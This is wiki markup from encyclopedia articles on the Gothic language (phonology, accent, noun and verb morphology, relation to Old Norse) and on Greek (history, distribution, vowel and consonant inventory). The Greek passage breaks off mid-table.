Gothic has three nasal consonants, of which one is an allophone of the others, found only in [[complementary distribution]] with them. Nasals in Gothic, like most languages, are pronounced at the same [[point of articulation]] as either the consonant that follows them ( [[assimilation (linguistics)|assimilation]]). Therefore, clusters like {{IPA|[md]}} and {{IPA|[nb]}} are not possible.
* {{IPA|[n]}} and {{IPA|[m]}} are freely distributed - they can be found in any position in a syllable and form [[minimal pair]]s except in certain contexts where they are neutralized: {{IPA|[n]}} before a [[bilabial consonant]] becomes {{IPA|[m]}}, while and {{IPA|[m]}} preceding a [[Dental consonant|dental stop]] becomes an {{IPA|[n]}}, as per the principle of assimilation described in the previous paragraph. In front of a [[Velar consonant|velar stop]], they both become {{IPA|[ŋ]}}. {{IPA|[n]}} and {{IPA|[m]}} are transcribed as ''n'' and ''m'', and in writing neutralisation is marked: ''sniumundo'' {{IPA|[sniu̯mundoː]}} (&quot;quickly&quot;).
* {{IPA|[ŋ]}} is not a phoneme and cannot appear freely in Gothic. It is present where a nasal consonant is neutralised before a [[Velar consonant|velar stop]] and is in a complementary distribution with {{IPA|[n]}} and {{IPA|[m]}}. Following Greek conventions, it is normally written as ''g'' (sometimes ''n''): ''þagkjan'' {{IPA|[θaŋkjan]}} &quot;to think&quot;, ''sigqan'' {{IPA|[siŋkʷan]}} &quot;to sink&quot; ~ ''þankeiþ'' {{IPA|[θaŋkiːθ]}} &quot;thinks''. The cluster ''ggw'' denotes now {{IPA|[ŋgʷ]}}, now {{IPA|[gʷː]}} (see above).
* {{IPA|[w]}} is transliterated as ''w'' before a vowel: ''weis'' {{IPA|[wiːs]}} (&quot;we&quot;), ''twái'' {{IPA|[twɛː]}} &quot;two&quot; (German ''zwei'').
* {{IPA|[j]}} is written as ''j'': ''jer'' {{IPA|[jeːr]}} &quot;year&quot;, ''sakjo'' {{IPA|[sakjoː]}} &quot;strife&quot;.
* {{IPA|[l]}} is used much as in English and other European languages: ''laggs'' {{IPA|[laŋks]}} &quot;long&quot;, ''mel'' {{IPA|[meːl]}} &quot;hour&quot; (English ''meal'', German ''Mahl'').
* {{IPA|[r]}} is a [[Trill consonant|trilled]] {{IPA|[r]}} (eventually a [[Flap consonant|flap]] {{IPA|[ɾ]}}): ''raíhts'' {{IPA|[rɛxts]}} &quot;right&quot;, ''afar'' {{IPA|[afar]}} &quot;after&quot;.
* The [[sonorant]]s {{IPA|[l]}}, {{IPA|[m]}}, {{IPA|[n]}} and {{IPA|[r]}} act as the nucleus of a [[syllable]] (&quot;vowels&quot;) after the final consonant of a word or between two consonants. This is also the case in modern English: for example, &quot;bottle&quot; is pronounced {{IPA|[bɒtl̩]}} in many dialects. Some Gothic examples: ''tagl'' {{IPA|[taγl̩]}} &quot;hair&quot; (English ''tail'', Swedish ''tagel''), ''máiþms'' {{IPA|[mɛːθm̩s]}} &quot;gift&quot;, ''táikns'' {{IPA|[tɛːkn̩s]}} &quot;sign&quot; (English ''token'', German ''Zeichen'', Swedish ''tecken'') and ''tagr'' {{IPA|[taγr̩]}} &quot;tear (as in crying)&quot;.

===Accentuation and Intonation===
Accentuation in Gothic can be reconstructed through phonetic comparison, [[Grimm's law]] and [[Verner's law]]. Gothic used a [[stress accent]] rather than the [[pitch accent]] of [[Proto-Indo-European language|proto-Indo-European]]. It is indicated by the fact that long vowels {{IPA|[eː]}} and {{IPA|[oː]}} were shortened and the short vowels {{IPA|[a]}} and {{IPA|[i]}} were lost in unstressed syllables.

Just like other [[Germanic languages]], the free moving Indo-European accent was fixed on the first syllable of simple words. (For example, in modern English, nearly all words that do not have accents on the first syllable are borrowed from other languages.) Accents do not shift when words are [[inflexion|inflected]]. In most compound words, the location of the stress depends on its placement in the second part:

* In compounds where the second word is a ''noun'', the accent is on the first syllable of the first word of the compound.
* In compounds where the second word is a ''verb'', the accent falls on the first syllable of the verbal component. Elements prefixed to verbs are otherwise unstressed, except in the context of separable words (words that can be broken in two parts and separated in regular usage, for example, [[separable verb]]s in German and Dutch) - in those cases, the prefix is stressed.
Examples: (with comparable words from modern Germanic languages)
* Non-compound words: ''marka'' {{IPA|['marka]}} &quot;border, borderlands&quot; (English &quot;march&quot; as in the [[Marches|Spanish Marches]]); ''aftra'' {{IPA|['aftra]}} &quot;after&quot;; ''bidjan'' {{IPA|['bidjan]}} &quot;pray&quot; (German ''beten'', Swedish ''bedja'').
* Compound words:
** Noun second element: ''guda-láus'' {{IPA|['guðalaus]}} &quot;godless&quot;.
** Verb second element: ''ga-láubjan'' {{IPA|[ga'lauβjan]}} &quot;believe&quot; (German ''glauben'' &lt; [[Old High German]] ''g(i)louben'' by [[syncope]] of the atonic ''i'').

==Morphology==
===Nouns===

Gothic preserves many archaic Indo-European features that are not always present in modern Germanic languages, in particular the rich Indo-European [[declension]] system.  Gothic had [[nominative]], [[accusative]], [[genitive]] and [[dative]] cases, as well as vestiges of a [[vocative case]] that was sometimes identical to the nominative and sometimes to the accusative.  The three [[grammatical gender|genders]] of Indo-European were all present, including the neuter gender of modern German and Icelandic and to some extent modern Dutch, Danish, Norwegian and Swedish, in opposition to the &quot;common gender&quot; (''genus commune'') which applies to both masculine and feminine nouns.  Nouns and adjectives were inflected according to one of two [[grammatical number]]s: the singular and the plural.
   
One of the most striking characteristics of the [[East Germanic languages]] is the division of nouns between those with ''weak declensions'' (generally those where the [[root (linguistics)|root word]] ends in an ''n'') and those with ''strong declensions'' (those whose roots end in a vowel or an inflexional suffix indicative of a pronoun).  This separation is particularly important in Gothic.  While a noun can only belong to one class of declensions, depending on the end of the root word, some adjectives can be either strongly or weakly declined, depending on their meaning.  An adjective employed with a particular meaning and accompanied by a [[deixis|deictic]] article, like the [[demonstrative pronoun]]s ''sa'', ''þata'', or ''so'' which act as definite articles, took a weak declension, while adjectives used with indefinite articles had a strong declension.  

This process is still sometimes found in German, where adjectives are declined:
* weak declension: ''d'''er''' gut'''e''' Wein'' (&quot;the good wine&quot;) ;
* strong declension: ''gut'''er''' Wein'' (&quot;good wine&quot;), ''ein gut'''er''' Wein'' (&quot;a good wine&quot;)

Descriptive adjectives in Gothic (as well as superlatives ending in ''-ist'' and ''-ost'') and the [[past participle]] may take either declension.  Some pronouns only take the weak declension; for example: ''sama'' (English &quot;same&quot;), adjectives like ''un&amp;#405;eila'' (&quot;constantly&quot;, from the root ''&amp;#405;eila'', &quot;time&quot;; compare to the English &quot;while&quot;), comparative adjectives, and [[present participle]]s.  Others, such as ''áins'' (&quot;some&quot;), take only the strong declension.

The table below displays the declension of the Gothic adjective ''blind'' (English: &quot;blind&quot;) with a weak noun (''guma'' - &quot;man&quot;) and a strong one (''dags'' - &quot;day&quot;):
 
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot;
|-----
! Case
! colspan=&quot;5&quot; | Weak declension
! colspan=&quot;5&quot; | Strong declension
|-----
! rowspan=&quot;2&quot; | Singular
! rowspan=&quot;2&quot; | Noun
! colspan=&quot;4&quot; | Adjective
! rowspan=&quot;2&quot; | Noun
! colspan=&quot;4&quot; | Adjective
|-----
! height=&quot;58&quot; | root
! M.
! N.
! F.
! root
! M.
! N.
! F.
|-----
| ''Nom.'' || guma
| rowspan=&quot;4&quot; align=&quot;right&quot; valign=&quot;middle&quot; | blind-
| -a || -o || -o || dags
| rowspan=&quot;4&quot; align=&quot;right&quot; valign=&quot;middle&quot; | blind-
| -s || -ø || -a
|-----
| ''Acc.'' || guman || -an || -o || -on
| dag || -ana || -ø || -a
|-----
| ''Gen.'' || gumins || colspan=&quot;2&quot; align=&quot;center&quot; | -ins
| -ons || dagis
| colspan=&quot;2&quot; align=&quot;center&quot; | -is || -áizos
|-----
| ''Dat.'' || gumin || colspan=&quot;2&quot; align=&quot;center&quot; | -in
| -on || daga
| colspan=&quot;2&quot; align=&quot;center&quot; | -amma || ái
|-----
! Plural
| colspan=&quot;5&quot; | &amp;nbsp; || colspan=&quot;5&quot; | &amp;nbsp;
|-----
| ''Nom.'' || gumans
| rowspan=&quot;4&quot; align=&quot;right&quot; valign=&quot;middle&quot; | blind-
| -ans || -ona || -ons || dagos
| rowspan=&quot;4&quot; align=&quot;right&quot; valign=&quot;middle&quot; | blind-
| -ái || -a || -os
|-----
| ''Acc.'' || gumans || -ans || -ona || -ons
| dagans || -ans || -a || -os
|-----
| ''Gen.'' || gumane || colspan=&quot;2&quot; align=&quot;center&quot; | -ane
| -ono || dage
| colspan=&quot;2&quot; align=&quot;center&quot; | -áize || -áizo
|-----
| ''Dat.'' || gumam || colspan=&quot;2&quot; align=&quot;center&quot; | -am
| -om || dagam || colspan=&quot;3&quot; align=&quot;center&quot; | -áim
|}

This table is, of course, not exhaustive.  (There are secondary inflexions, particularly for the strong neuter singular and irregular nouns among other contexts, which are not described here.)  An exhaustive table of only the ''types'' of endings Gothic took is presented below.

* '''strong declension''' : 
** roots ending in ''-a'', ''-ja'', ''-wa'' (masculine and neuter): equivalent to the Greek and Latin second declension in ''&amp;#8209;us'' / ''&amp;#8209;i'' and &amp;#8209;&amp;#959;&amp;#962; / &amp;#8209;&amp;#959;&amp;#965;;
** roots ending in ''-o'', ''-jo'' and ''-wo'' (feminine): equivalent to the Greek and Latin first declension in ''&amp;#8209;a'' / ''&amp;#8209;æ'' and &amp;#8209;&amp;#945; / &amp;#8209;&amp;#945;&amp;#962; (&amp;#8209;&amp;#951; / &amp;#8209;&amp;#951;&amp;#962;);
** roots ending in ''-i'' (masculine et feminine): equivalent to the Greek and Latin third declension in ''&amp;#8209;is'' (acc. ''&amp;#8209;im'') and &amp;#8209;&amp;#953;&amp;#962; / &amp;#8209;&amp;#949;&amp;#969;&amp;#962;; 
** roots ending in ''-u'' (all three genders) : equivalent to the Latin fourth declension in ''&amp;#8209;us'' / ''&amp;#8209;us'' and the Greek third declension in &amp;#8209;&amp;#965;&amp;#962; / &amp;#8209;&amp;#949;&amp;#969;&amp;#962;; 
* '''weak declension''' (all roots ending in ''-n''), equivalent to the Greek and Latin third declension in ''&amp;#8209;o'' / ''&amp;#8209;onis'' and &amp;#8209;&amp;#969;&amp;#957; / &amp;#8209;&amp;#959;&amp;#957;&amp;#959;&amp;#962; or &amp;#8209;&amp;#951;&amp;#957; / &amp;#8209;&amp;#949;&amp;#957;&amp;#959;&amp;#962;:
** roots ending in ''-an'', ''-jan'', ''-wan'' (masculine);
** roots ending in ''-on'' et ''-ein'' (feminine);
** roots ending in ''-n'' (neuter): equivalent to the Greek and Latin third declension in ''&amp;#8209;men'' / ''&amp;#8209;minis'' and &amp;#8209;&amp;#956;&amp;#945; / &amp;#8209;&amp;#956;&amp;#945;&amp;#964;&amp;#959;&amp;#962;;
* '''minor declensions''' : roots ending in ''-r'', en ''-nd'' and vestigial endings in other consonants, equivalent to other third declensions in Greek and Latin.

Gothic adjectives follow noun declensions closely - they take same types of inflexion.

===Pronouns===
Gothic inherited the full set of Indo-European pronouns: [[personal pronoun]]s (including [[reflexive pronoun]]s for each of the three [[grammatical person]]s), [[possessive pronoun]]s, both simple and compound [[demonstrative pronoun|demonstratives]], [[relative pronoun]]s, [[interrogative pronoun|interrogatives]] and [[indefinite pronoun]]s.  Each follows a particular pattern of inflexion (partially mirroring the noun declension), much like other Indo-European languages.  One particularly noteworthy characteristic is the preservation of the [[dual number]], refering to two people or things while the plural was only used for quantities greater than two.  Thus, &quot;the two of us&quot; and &quot;we&quot; for numbers greater than two were expressed as ''wit'' and ''weis'' respectively.  While [[Proto-Indo-European language|proto-Indo-European]] used the dual for all grammatical categories that took a number (as did classical [[Greek language|Greek]] and [[Sanskrit]]), Gothic is unusual among Indo-European languages in only preserving it for pronouns.

The simple demonstrative pronoun ''sa'' (neuter: ''þata'', feminine: ''so'', from the Indo-European root ''*so'', ''*seh&lt;sub&gt;2&lt;/sub&gt;'', ''*tod''; cognate to the [[Greek language|Greek]] article &amp;#8001;, &amp;#964;&amp;#972;, &amp;#7969; and the [[Latin]] ''is'''tud''''') can be used as an article, allowing constructions of the type ''definite article + weak adjective + noun''.

The interrogative pronouns are also noteworthy for all beginning in ''&amp;#405;-'', which derives from the proto-Indo-European consonant ''*k&lt;sup&gt;&lt;small&gt;w&lt;/small&gt;&lt;/sup&gt;'' that was present at the beginning of all interrogratives in proto-Indo-European.  This is cognate to the ''wh-'' at the beginning of many English interrogatives which, like in Gothic, are pronounced with [&amp;#653;] in some dialects.  This same etymology is present in the interrogratives of many other Indo-European languages&quot; ''w-'' [v] in [[German language|German]], ''v-'' in [[Swedish language|Swedish]], the [[Latin]] ''qu-'' (which persists in modern [[Romance languages]]), the [[Greek language|Greek]] &amp;#964; or &amp;#960; (a derivation of ''*k&lt;sup&gt;&lt;small&gt;w&lt;/small&gt;&lt;/sup&gt;'' that is unique to Greek), and the [[Sanskrit]] ''k-'' as well as many others.

===Verbs===
The bulk of Gothic verbs follow the type of Indo-European conjugation called [[Athematic|&quot;thematic&quot;]] because they insert a vowel derived from the reconstructed proto-Indo-European phonemes ''*e'' or ''*o'' between roots and inflexional suffixes.  This pattern is also present in [[Greek language|Greek]] and [[Latin]]:
*Latin - ''leg-i-mus'' (&quot;we read&quot;): root ''leg-'' + thematic vowel ''-i-'' (from ''*e'') + suffix ''-mus''.
*Greek - &amp;#955;&amp;#965;-&amp;#972;-&amp;#956;&amp;#949;&amp;#957; (&quot;we untie&quot;): root &amp;#955;&amp;#965;- + thematic vowel -&amp;#959;- + suffix -&amp;#956;&amp;#949;&amp;#957;.
*Gothic - ''nim-a-m'' (&quot;we take&quot;):  root ''nim-'' ([[German language|German]] ''nehmen'') + thematic vowel ''-a-'' (from ''*o'') + suffix ''-m''.

The other conjugation, called [[Athematic|&quot;athematic&quot;]], where suffixes are added directly to roots, exists only in unproductive vestigial forms in Gothic, just as it does in Greek and Latin.  The most important such instance is [[Indo-European copula|the verb &quot;to be&quot;]], which is athematic in Greek, Latin, Sanskrit and many other Indo-European languages.

Gothic verbs are, like nouns and adjectives, divided into strong verbs and weak verbs.  Weak verbs are characterised by [[preterite]]s formed by appending the suffixes ''-da'' or ''-ta'', parallel to past participles formed with ''-þ'' / ''-t''.  Strong verbs form preterites by alternating vowels in their root forms or by doubling the first consonant in the root, but without adding a suffix in either case.  This parallels the Greek and Sanskit [[perfect tense]]s.  This dichotomy is still present in modern Germanic languages: 
* weak verbs (&quot;to have&quot;) : 
** Gothic: ''haban'', preterite ''habái'''da''''', past participle ''habái'''þ'''s'' ;
** English: ''(to) have'', preterite ''ha'''d''''', past participle ''ha'''d''''' ;
** German: ''haben'', preterite ''hat'''te''''', past participle ''(ge)hab'''t''''' ;
** Icelandic: ''hafa'', preterite ''haf'''ði''''', past participle ''haf'''t''''' ;

* strong verbs (&quot;to give&quot;) : 
** Gothic: infinitive ''g'''i'''ban'', preterite ''g'''a'''f'' ; 
** English: infinitive ''(to) g'''i'''ve'', preterite ''g'''a'''ve'' ;
** German: infinitive ''g'''e'''ben'', preterite ''g'''a'''b'' ;
** Icelandic: infinitive ''g'''e'''fa'', preterite ''g'''a'''f''.

Verbal inflexions in Gothic have two [[grammatical voice]]s: the active and the medial; three numbers: singular, dual (except in the third person), and plural; two tenses: present and preterite (derived from a former perfect tense); three [[grammatical mood]]s: [[indicative mood|indicative]], [[subjunctive mood|subjunctive]] (from an old [[optative mood|optative]] form) and [[imperative mood|imperative]]; as well as three kinds of nominal forms: a present [[infinitive]], a present [[participle]], and a past [[passive]].  Not all tenses and persons are represented in all moods and voices - some conjugations use [[Auxiliary verb|auxiliary forms]].

Finally, there are forms called &quot;preterite-present&quot; - old Indo-European perfect tenses that were reinterpreted as present tense.  The Gothic word ''wáit'', from the proto-Indo-European ''*woid-h&lt;sub&gt;2&lt;/sub&gt;e'' (&quot;to see&quot; in the perfect tense), corresponds exactly to its Sanskrit cognate ''véda'' and in Greek to &amp;#988;&amp;#959;&amp;#7990;&amp;#948;&amp;#945;.  Both etymologically should mean &quot;I saw&quot; (in the perfective sense) but mean &quot;I see&quot; (in the preterite-present meaning).  Latin follows the same rule with ''n&amp;#333;u&amp;#299;'' (&quot;I knew&quot; and &quot;I know&quot;).   The preterite-present verbs include ''áihan'' (&quot;to possess&quot;) and ''kunnan'' (&quot;to know&quot;) among others.

==Gothic compared to other Germanic languages==
===Gothic and Old Norse===
The Goths had a tradition of a Scandinavian origin, and there are linguistic similarities with [[Old Norse language|Old Norse]], especially with its dialect [[Old Gutnish]]. The number of similarities that Old Gutnish had with Gothic made the prominent linguist [[Elias Wessén]] classify it as a Gothic dialect. This is a text sample from the [[Gutasaga]] about a migration to southern Europe (Manuscript from the [[14th century]]):

:''siþan af þissum þrim aucaþis fulc j gutlandi som mikit um langan tima at land elptj þaim ai alla fyþa þa lutaþu þair bort af landi huert þriþia þiauþ so at alt sculdu þair aiga oc miþ sir bort hafa som þair vfan iorþar attu... so fierri foru þair at þair quamu til griclanz... oc enn byggia oc enn hafa þair sumt af waru mali'' 

:over a long time, the people descended from these three multiplied so much that the land couldn't support them all. Then they draw lots, and every third person was picked to leave, and they could keep everything they owned and take it with them, except for their land. ... They went so far that they came to the land of the Greeks. ... they settled there, and live there still, and still have something of our language. 

The main points cited for grouping North and East Germanic are:

1) The evolution of the [[Proto-Germanic language|Proto-Germanic]] *''-jj-'' and *''-gg-'' into Gothic ''ddj'' (from an older Gothic ''ggj''?) and ''ggw'' and Old Norse ''ggj'' and ''ggv'' (&quot;Holtzmann's law&quot;). For instance, the [[Old High German]] genitive of ''zwei'' (two) is ''zweio'', which is distinct from Gothic ''twaddje'' and Old Norse ''tveggja''. Whereas German has the form ''treu'', Gothic has ''triggws'' and modern Swedish ''trygg''.

2) The existence of numerous inchoative verbs ending with -''na'', such as Gothic ''waknan'' and modern Swedish ''vakna''.

3) Gothic is important for the understanding of the evolution of Proto-Germanic into Old Norse through [[Proto-Norse language|Proto-Norse]]. For instance, the final -''n'' in North Germanic languages, such as ''navn'' and ''namn'' (name) is explained by referring to Gothic in which ''namo'' had its plural genitive ''namne''. Sometimes, Gothic explains forms of words found on the oldest runestones, such as the Gothic word ''gudja'' ([[gothi]], man serving as priest) which explains the word ''gudija'' found on the runestone of Nordhuglo in Norway.

But there have also been theories grouping West and East Germanic. Today, the three groups are generally treated as derived independently from [[Proto-Germanic]].

===Other unique features of Gothic===

Being the first attested Germanic language, Gothic fails to display a number of traits that are shared by all other known Germanic languages.  Most conspicuously, Gothic contains no morphological [[umlaut]]; the Gothic word ''gudja'' &quot;priest&quot; can be contrasted with the Old Norse ''gydja'' (&quot;priestess&quot;); the Norse form contains the characteristic change /u/ &gt; /y/ that indicates the influence of i-umlaut in [[Proto-Norse]]; the Gothic form shows no such change.  

Gothic retains a [[passive voice]] inherited from Indo-European, but unattested in all other Germanic languages.  Gothic preserves several verbs that display [[reduplication]] (''haitan'', &quot;to be called&quot; &gt; ''haihait''; cf. Norwegian ''heita'' German ''heißen'', archaic English ''hight'') in the formation of the [[preterit]]; another Indo-European inheritance that has left only a few traces in Old English, Old Norse and Old High German.

==References==
*This article draws heavily on the [[:fr:Gotique|corresponding article]] in the French Wikipedia, retrieved April 6, 2005.

* F. Mossé, ''Manuel de la langue gotique'', Aubier Éditions Montaigne, 1942
* W. Braune and E. Ebbinghaus, ''Gotische Grammatik'', 17th edition 1966, Tübingen
** 20th edition, 2004.  ISBN 3484108525 (hbk), ISBN 3484108509 (pbk)
* W. Streitberg, ''Die gotische Bibel '', 4th edition, 1965, Heidelberg ;
* J. Wright, ''Grammar of the Gothic language'', 2nd edition, Clarendon Press, Oxford, 1966
** 2nd edition, 1981 reprint by Oxford University Press, ISBN 0198111851
* W. Krause, ''Handbuch des Gotischen'', 3rd edition, 1968, Munich.

==See also==
*[[List of Germanic languages]]
*[[Germanic languages#Vocabulary comparison|Germanic Languages - Comparison of Selected Terms]] for a chart comparing Gothic words to those of other Germanic languages
*[[Geats]]
*[[Gotlander]]s
*[[Old Gutnish]]
*[[Grimm's law]]
*[[Verner's law]]

==External links==
{{InterWiki|code=got}}
{{Wikibookspar||Gothic}}
*[http://www.reimar.de/gotisch.html Gotisch im WWW] Portal for information on Gothic (in German)
*[http://www.oe.eclipse.co.uk/nom/egdhome.html English-Gothic Dictionary] (Also contains neologisms and reconstructed words)
*[http://members.terracom.net/~dorothea/david/gothic/index.html Gothic lessons]
*[http://www.ling.upenn.edu/~kurisuto/germanic/aa_texts.html Early editions of several of the references]
*[http://specgram.com/CXLVII.4/03.judzis.gothic.html Gothic for Travellers]: Good conversation starters are death, torture, eating and drinking.
* Texts: 
** [http://titus.uni-frankfurt.de/texte/texte2.htm#got Titus] has Streitberg's ''Gotische Bibel'' and Crimean Gothic material after Busbecq.
** [http://www.wulfila.be/ Wulfila Project]
** [http://germa.germsem.uni-kiel.de/gotisch/skeireins/index.html Skeireins Projet]
** [http://wikisource.org/wiki/Die_gotische_Bibel The Gothic Bible]
** ''[http://members.aol.com/yahyam/BagmeBloma.html Bagme Bloma]'', a Gothic poem by [[J.R.R. Tolkien]]


{{Wikisourcepar|Category:Gothorum lingua}}

[[Category:East Germanic languages]]
[[Category:Medieval languages]]
[[Category:Late Antiquity]]
[[Category:Gothic writing]]
[[Category:Extinct Germanic languages]]
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{{Infobox Language
|name=Greek
|nativename=&lt;font lang=&quot;el&quot;&gt;Ελληνικά&lt;/font&gt; ''Ellinika''
|states=[[Greece]], [[Cyprus]]
|speakers=15 million
|rank=74
|familycolor=Indo-European
|fam2=[[Greek languages|Greek]]
|fam3=[[Attic Greek|Attic]]
|nation=[[Greece]], [[Cyprus]] (and the [[European Union]])
|iso1=el|iso2b=gre|iso2t=ell|iso3=ell}}

'''Greek''' (Greek Ελληνικά, [[International Phonetic Alphabet|IPA]] {{IPA|[e̞ˌliniˈka]}} — &quot;Hellenic&quot;) is an [[Indo-European languages|Indo-European language]] with a documented history of 3,500 years. Today, it is spoken by 15 million people in [[Greece]], [[Cyprus]], the former Yugoslavia, particularly the former Yugoslav [[Republic of Macedonia]], [[Bulgaria]], [[Albania]] and [[Turkey]]. There are also many Greek emigrant communities around the world, such as those in [[Melbourne]], [[Australia]] which has the third largest urban Greek population of any city in the world, after [[Athens]] and [[Thessaloniki]].

Greek has been written in the [[Greek alphabet]], the first true [[alphabet]], since the 9th century B.C. and before that, in [[Linear B]] and the [[Cypriot syllabary|Cypriot]] syllabaries.

[[Greek literature]] has a long and rich tradition.

==History==
{{History of the Greek language}}
{{main|History of the Greek language}}
''This article does not cover the reconstructed history of Greek prior to the use of writing. For more information, see main article on [[Proto-Greek language]].''

Greek has been spoken in the [[Balkan]] Peninsula since the [[2nd millennium BC]]. The earliest evidence of this is found in the [[Linear B]] tablets dating from [[1500 BC]]. The later [[Greek alphabet]] (''q.v.'') is unrelated to Linear B, and was derived from the [[Phoenician alphabet]] ([[abjad]]); with minor modifications, it is still used today. Greek is conventionally divided into the following periods:

*'''[[Mycenean language|Mycenean Greek]]''': the language of the [[Mycenean civilisation]]. It is recorded in the [[Linear B]] script on tablets dating from the [[16th century BC]] onwards.

*'''[[Ancient Greek|Classical Greek]]''' (also known as [[Ancient Greek]]): In its various dialects was the language of the [[Archaic]] and [[Classical]] periods of Greek civilisation. It was widely known throughout the Roman empire. Classical Greek fell into disuse in western Europe in the [[Middle Ages]], but remained known in the [[Byzantine Empire|Byzantine]] world, and was reintroduced to the rest of [[Europe]] with the [[Fall of Constantinople]] and Greek migration to [[Italy]]. 

*'''[[Hellenistic Greek]]''' (also known as [[Koine Greek]]): The fusion of various ancient Greek dialects with [[Attic Greek|Attic]] (the dialect of Athens) resulted in the creation of the first '''common''' Greek dialect, which gradually turned into one of the world's first international languages. [[Koine Greek]] can be initially traced within the armies and conquered territories of [[Alexander the Great]], but after the [[Hellenistic]] colonisation of the known world, it was spoken from [[Egypt]] to the fringes of [[India]]. After the [[Ancient Rome|Roman]] conquest of Greece, an unofficial diglossy of Greek and Latin was established in the city of [[Rome]] and Koine Greek became a first or second language in the [[Roman Empire]]. Through Koine Greek it is also traced the origin of [[Christianity]], as the [[Twelve Apostles|Apostles]] used it to preach in [[Greece]] and the Greek-speaking world. It is also known as the '''Alexandrian dialect''', '''Post-Classical Greek''' or even '''New Testament Greek''' (after its most famous work of literature).

*'''[[Medieval Greek]]''': The continuation of [[Hellenistic Greek]] during medieval [[Greek history]] as the official and vernacular (if not the literary nor the ecclesiastic) language of the [[Byzantine Empire]], and continued to be used until, and after the fall of that Empire in the [[15th century]]. Also known as '''Byzantine Greek'''.

*'''[[Modern Greek]]''': Stemming independently from [[Koine Greek]], '''Modern Greek''' usages can be traced in the late [[Byzantine Empire|Byzantine]] period (as early as 11th century).[[Image:Codex alexandrinus.jpg|thumb|150px|left|A section of the [[Codex Alexandrinus]]. This section contains [[Gospel of Luke|Luke]] 12:54-13:4.]]
Two main forms of the language have been in use since the end of the medieval Greek period: [[Modern Greek|Dhimotikí]] (Δημοτική), the Demotic (vernacular) language, and [[Katharevousa|Katharévousa]] (Καθαρεύουσα), an imitation of classical Greek, which was used for literary, juridic, and scientific purposes during the [[19th century|19th]] and early [[20th century|20th]] centuries. Demotic Greek is now the official language of the modern Greek state, and the most widely spoken by Greeks today.

It has been claimed that an &quot;educated&quot; speaker of the modern language can understand an ancient text, but this is surely as much a function of education as of the similarity of the languages. Still, Koinē {{IPA|/ciˈni/}}, the version of Greek used to write the [[New Testament]] and the [[Septuagint]], is relatively easy to understand for modern speakers.

Greek words have been widely borrowed into the European languages: ''astronomy'', ''democracy'', ''philosophy'', ''thespian'', etc.  Moreover, Greek words and [[morpheme|word elements]] continue to be productive as a basis for coinages: ''anthropology'', ''photography'', ''isomer'', ''biomechanics'' etc. and form, with [[Latin language|Latin]] words, the foundation of international scientific and technical vocabulary.  See ''[[English words of Greek origin]]'', and ''[[List of Greek words with English derivatives]]''.

==Classification==
Greek is an independent branch of the [[Indo-European]] [[language family]].  The ancient languages which were probably most closely related to it, [[Ancient Macedonian language]] (which may have been a [[dialect]] of Greek) and [[Phrygian language|Phrygian]], are not well enough documented to permit detailed comparison. Among living languages, [[Armenian language|Armenian]] seems to be the most closely related to it.

==Geographic distribution==
Modern Greek is spoken by about 15 million people mainly in [[Greece]] and [[Cyprus]]. There are also Greek-speaking populations in [[Georgia (country)|Georgia]], [[Ukraine]], [[Egypt]], [[Turkey]], [[Albania]], [[Former Yugoslav Republic of Macedonia]] and [[Southern Italy]]. The language is spoken also in many other countries where Greeks have settled, including [[Armenia]], [[Australia]], [[Austria]], [[Belgium]], [[Bulgaria]], [[Canada]], [[Denmark]], [[France]], [[Germany]], [[Netherlands]], [[Sweden]], [[United Kingdom]], and the [[United States]].

==Official status==
Greek is the [[official language]] of [[Greece]] where it is spoken by about 99.5% of the population. It is also, alongside [[Turkish language|Turkish]], the official language of [[Cyprus]]. Due to the membership of Greece and Cyprus in the European Union, Greek is one of the [[languages of the European Union#official languages of the European Union|20 official languages]] of the [[European Union]].

==Phonology==
This section generally describes the post-Classic phonology of the Greek language.

:''All phonetic transcriptions in this section use the [[International Phonetic Alphabet]]''

===Vowel sounds===
Greek has 5 vowel sounds, all phonemic:

{| class=&quot;wikitable&quot;
 &lt;tr&gt;
    &lt;th width=&quot;20%&quot;&gt;&amp;nbsp;&lt;/th&gt;
    &lt;th width=&quot;20%&quot;&gt;[[Front vowel|Front]]&lt;/th&gt;
    &lt;th width=&quot;20%&quot;&gt;[[Back vowel|Back]]&lt;/th&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
    &lt;th align=&quot;left&quot;&gt;[[Close vowel|Close]]&lt;/th&gt;
    &lt;td&gt;[[Close front unrounded vowel|{{IPA|i}}]]&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;[[Close back rounded vowel|{{IPA|u}}]]&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
    &lt;th align=&quot;left&quot;&gt;[[mid vowel|Mid]]&lt;/th&gt;
    &lt;td align=&quot;center&quot;&gt;[[close-mid front unrounded vowel#mid front unrounded vowel|{{IPA|e̞}}]]&lt;/td&gt;
    &lt;td align=&quot;right&quot;&gt;[[Close-mid back rounded vowel#mid back rounded vowel|{{IPA|o̞}}]]&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
   &lt;th align=&quot;left&quot;&gt;[[Open vowel|Open]]&lt;/th&gt;
   &lt;td align=&quot;right&quot;&gt;[[Open front unrounded vowel|{{IPA|a}}]]&lt;/td&gt;
   &lt;td align=&quot;left&quot;&gt;&amp;nbsp;&lt;/td&gt;
 &lt;/tr&gt;
|}

Close vowels, when found in unstressed final syllables, tend to be voiceless, particularly if they are between voiceless consonants [e.g.: φάσης {{IPA|/ˈfasis/}} → {{IPA|/ˈfasi̥s/}} (→ {{IPA|/fasː/}}) = &quot;of phase&quot; ([[genitive case]])].

===Consonants===

Greek has a repertoire of 29 consonant sounds.  The number of phonemes depends on the analysis, but may be as few as 15, assuming for example that the sound [b] is represented in the underlying form as /mp/, which is also its standard orthographic representation.  (cf. Newton)

{| class=&quot;wikitable&quot;
! width=&quot;100px&quot;|
! [[bilabial consonant|Bilabial]]
! [[labiodental|Labiodental]]
! [[dental consonant|Dental]]
! [[alveolar consonant|Alveolar]]
! [[palatal consonant|Palatal]]
! [[velar consonant|Velar]]
|-
| [[plosive consonant|'''Plosive''']]
| align=&quot;center&quot;| [[Voiceless bilabial plosive|p]] [[Voiced bilabial plosive|b]]
| align=&quot;center&quot;|
| align=&quot;center&quot;| 
| align=&quot;center&quot;| [[Voiceless alveolar plosive|t]] [[Voiced alveolar plosive|d]]
| align=&quot;center&quot;| [[Voiceless palatal plosive|c]] {{IPA|[[Voiced palatal plosive|ɟ]]}}
| align=&quot;center&quot;| [[Voiceless velar plosive|k]] [[Voiced velar plosive|g]]
|-
| [[nasal consonant|'''Nasal''']]
